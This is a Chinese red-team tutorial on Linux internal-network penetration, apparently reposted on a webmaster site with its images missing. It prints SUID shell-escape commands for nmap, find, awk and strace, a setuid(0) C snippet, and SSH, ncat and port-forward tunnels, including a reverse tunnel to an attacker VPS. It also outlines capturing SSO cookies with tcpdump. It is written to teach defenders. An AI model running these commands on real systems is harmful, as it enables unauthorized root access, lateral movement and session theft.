红蓝对抗之Linux内网渗透
上篇(附录1)主要讲的是Windows这块,最近知识星球“腾讯安平密友圈”提到了一个问题“为什么内网渗透偏向于Windows”,笔者也在下面进行了相关回复,除了传统的信息收集、弱口令以外,
前言 上篇(附录1)主要讲的是Windows这块,最近知识星球“腾讯安平密友圈”提到了一个问题“为什么内网渗透偏向于Windows”,笔者也在下面进行了相关回复,除了传统的信息收集、弱口令以外,Linux内网渗透也有很多可玩性。 关注知识星球,获取独享技术干货 在服务器方面,Linux由于开源、稳定、灵活、社区支持等因素,市场占有率远比Windows大,并且广大业务逐步上云使用docker容器等原因,所以Linux渗透攻击也是蓝军极为常见和必备的技能。 本文将以蓝军攻击视角,介绍常用的Linux内网渗透的手法,包括提权、隧道、反弹shell、登录态、云安全和工具化,主要让大家了解内网渗透的手法和危害,以攻促防,希望能给安全建设带来帮助。 提权 Linux不像Windows有那么多的提权EXP,不会动不动就出现各种烂土豆系列,因此Linux提权常常成为一个难点。本章将介绍一些Linux上的提权手法。 2.1 利用内核漏洞进行提权 脏牛漏洞(CVE-2016-5195)是一个影响2007年-2016年长达9年发行的Linux系统的提权漏洞,恶意用户可以利用条件竞争获取ROOT权限。 这里以写文件的手段来演示下该漏洞利用方法。 本次漏洞环境如下: 根目录下存在test.txt: 普通用户只能查看而不能修改: 利用EXP成功写入文件到只读文件中: 附上该漏洞的POC集合地址: 笔者不太喜欢用此类EXP,包括Window上的溢出类漏洞,因为此类漏洞有可能会导致系统崩掉,对于客户环境、敏感系统还是慎用。 针对此类漏洞有些同学会有如下疑问: Q:为什么我执行以后会卡死? A:尝试使用反弹的方式,即交互式/半交互式的方法进行。 2.2 利用文件权限配置不当进行提权 当某个进程启动权限为ROOT,对应文件编辑权限为普通用户时,我们可以利用该问题点进行提权。 pspy(附录2)工具提供了普通用户权限即可监听进程信息,该工具原理很简单,循环遍历/proc下的值来获取进程参数信息: 如果我们设置hidepid,该工具就会失效,如: mount -o remount,rw,hidepid=2 /proc 该工具就什么输出都不会有,或者只有问号: 这里我们使用pspy作为辅助演示(当没设置hidepid时)。 前期准备中,首先我们创建一个while循环,并使用ROOT用户循环执行/tmp/1.sh。然后当我们获取USER普通用户权限时,利用pspy可以监控到ROOT用户在持续执行/tmp/1.sh: 尝试查看/tmp/1.sh文件内容和权限,发现我们当前用户具备读写权限: 我们尝试替换文件内容,查看是否会以ROOT权限启动其中命令: 发现成功提权,以ROOT权限启动自定义命令: 2.3 利用SUID程序进行提权 当程序运行需要高权限,但是用户不具备高权限时,这时则可以给文件设置SUID,使得用户在执行文件时将以文件所有者的权限来运行文件,而不是运行者本身权限。 首先/tmp/test存在如下文件: 正常执行结果如下: 当设置SUID时,执行结果如下: chmod +s ./test 执行结果依然是当前用户,为何? 这是因为在高版本Linux(附录3)中,如果启动bash的的Effective UID与Real UID不相同,而且没有使用-p参数,则bash会将Effective UID还原成Real UID。即如果就算有S位,但没有使用-p参数,则最终执行的权限依然是当前用户的权限。 可以使用setuid(附录4)使得bash当前Effective UID和Real UID相同来达到提权效果: #include main() { setuid(0); system("whoami > /tmp/test.txt"); } 我们可以使用如下命令来寻找服务器上设置了SUID的应用程序: find / -perm -u=s -type f 2>/dev/null 下面列举几个常见的设置了SUID的应用程序提权手段。 nmap nmap --interactive !sh find find . -type f -exec /bin/bash \; awk awk 'BEGIN {system("/bin/bash")}' strace strace -o/dev/null /bin/bash 隧道 Linux上可以利用自带和第三方工具进行隧道开启,利用隧道,我们可以建立Socks连接、端口转发等操作。 3.1 SSH Linux上耳熟能详的就是SSH了,我们来看下SSH常用的开启隧道的命令。 场景a:在控制A机器时,利用socks代理进入A机器所在内网 ssh -qTfnN -D 1111 root@AIP 输入A机器密码,本地利用proxychains等类似工具连接本地的1111端口的sock5连接即可代理A机器的网络。 场景b:如果控制A、B机器,A能够访问B,且能出网,B能够访问C,但不能出网linux渗透,A不能访问C A机器执行: ssh -CNfg -L 2121:CIP:21 root@BIP 输入BIP机器密码,访问A机器的2121端口即是访问CIP的21端口。 场景c:控制A机器,A能够访问B A机器执行: ssh -CNfg -R 2121:BIP:21 root@hackervps 输入黑客VPS密码,访问黑客VPS的2121端口即是访问BIP的21端口。 3.2 nc/ncat 服务端执行监听命令: ncat --sh-exec "ncat 127.0.0.1 22" -l 80 --keep-open 客户端连接服务端的80端口即可SSH连接: SSH root@serverip -p 80 3.3 portmap 服务端执行: portmap -m 1 -p1 80 -h2 127.0.0.1 -p2 22 客户端连接服务端的80端口即可SSH连接: SSH root@serverip -p 80 3.4 portfw 服务端执行: tcpfwd 0.0.0.0:443 127.0.0.1:22 客户端连接服务端的443端口即可SSH连接: SSH root@serverip -p 443 反弹shell Linux上也存在一些自带命令/工具,来进行反弹shell得到一个(非)交互式shell。 下述命令中的yourip为攻击者监听的ip;yourport为攻击者监听的端口。 4.1 bash 4.2 netcat 4.3 php 4.4 perl 4.5 python 4.6 ruby 4.7 telnet 4.8 openssl 加密 服务端生成证书: 服务端监听: 受控端执行: 4.9 完全交互式shell attack端执行: victim端执行: 现在ctrl+c也不会退出: 登录态 现在越来越多的系统接入SSO、零信任,用户友好度提升了,但是也伴随了大量风险,比如如果单点故障了怎么办。其他安全风险呢?如果我们拿下其中一台可信服务器的权限,是否也伴随着未做隔离的站点也沦为了能快速拿权限的攻击目标? 5.1 tcpdump tcpdump是一款网络抓包的程序,在SSO、零信任的场景中,我们可以利用它来获取用户的登录态、Cookie等敏感信息,然后利用这些信息去登录其他未做隔离的站点。 (编辑:成都站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |